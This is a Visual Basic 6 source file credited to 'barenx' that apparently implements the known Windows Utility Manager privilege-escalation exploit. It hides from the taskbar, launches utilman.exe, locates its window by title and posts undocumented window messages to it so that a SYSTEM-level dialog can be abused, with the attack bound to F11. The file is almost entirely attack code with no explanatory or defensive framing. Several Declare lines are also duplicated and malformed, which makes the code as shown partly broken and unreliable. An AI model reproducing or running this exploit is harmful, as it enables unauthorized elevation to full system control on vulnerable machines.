






















'Powered by barenx

Private
Declare
Sub Sleep()
Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function PostMessage()Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Declare Function GetTickCount()Function GetTickCount Lib "kernel32" () As Long

Private Declare Function SendMessage()Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetActiveWindow()Function GetActiveWindow Lib "user32" () As Long

Private Declare Function FindWindow()Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Dim runTime As Long
Dim lHandle As Long

Private Declare Function SetWindowPos()Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const SWP_NOSIZE = &H1

Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2


Private Sub Form_DblClick()Sub Form_DblClick()
Dim i As Long
i = 0
lHandle = Shell("utilman.exe /start", vbNormalNoFocus)
DoEvents
If lHandle <> 0 Then
Do
Sleep (runTime)
lHandle = FindWindow(vbNullString, "辅助工具管理器")
i = i + 1
Loop While lHandle = 0 And i < 8
If lHandle <> 0 Then
PostMessage lHandle, &H313, 0, 0
Sleep (runTime)
SendMessage lHandle, &H365, 0, 1
Me.WindowState = 1
End If
End If
End Sub


Private Sub Form_Initialize()Sub Form_Initialize()
runTime = GetTickCount()
App.TaskVisible = False
End Sub


Private Sub Form_KeyDown()Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Static ShowOnTop As Boolean
If KeyCode = vbKeyF12 Then
If ShowOnTop = False Then
SetWindowPos Me.hwnd, HWND_TOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 0, 0, SWP_NOSIZE
ShowOnTop = True
Else
SetWindowPos Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 0, 0, SWP_NOSIZE
ShowOnTop = False
End If
Me.Show
End If
If KeyCode = vbKeyF11 Then
Call Form_DblClick
End If
End Sub


Private Sub Form_Load()Sub Form_Load()
Dim i As Long, j As Long
Sleep (0)
Me.Width = Screen.Width / 6
Me.Height = Screen.Height / 6
Call Form_KeyDown(vbKeyF12, 0)
Sleep (0)
i = GetTickCount()
runTime = i - runTime
End Sub


Private Sub Form_QueryUnload()Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
SetWindowPos Me.hwnd, HWND_NOTOPMOST, Screen.Width - Me.Width, Screen.Height - Me.Height, 0, 0, SWP_NOSIZE

If lHandle <> 0 Then
PostMessage lHandle, &H10, 0, 0
End If
Sleep (runTime)
Sleep (0)
Sleep (runTime)
lHandle = FindWindow(vbNullString, "辅助工具管理器")
If lHandle <> 0 Then
PostMessage lHandle, &H10, 0, 0
End If
End Sub































































































